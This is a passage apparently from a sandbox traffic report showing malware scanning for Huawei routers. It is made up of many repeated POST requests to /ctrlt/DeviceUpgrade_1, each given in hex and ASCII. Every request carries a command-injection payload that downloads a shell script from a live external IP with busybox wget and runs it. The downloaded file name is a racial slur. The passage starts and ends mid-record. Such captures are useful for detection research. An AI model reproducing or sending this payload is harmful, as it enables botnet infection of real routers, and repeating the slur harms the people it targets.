75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
252	192.168.2.15	55114	31.136.39.224	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:17.235414028 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:20.447954893 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
253	192.168.2.15	46582	31.136.95.210	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:17.235590935 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:20.448054075 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
254	192.168.2.15	53366	31.136.75.116	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:17.236100912 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:20.447994947 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
255	192.168.2.15	54980	31.136.236.4	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:17.236251116 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:20.447954893 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
256	192.168.2.15	45180	31.200.63.1	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:38:17.312697887 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 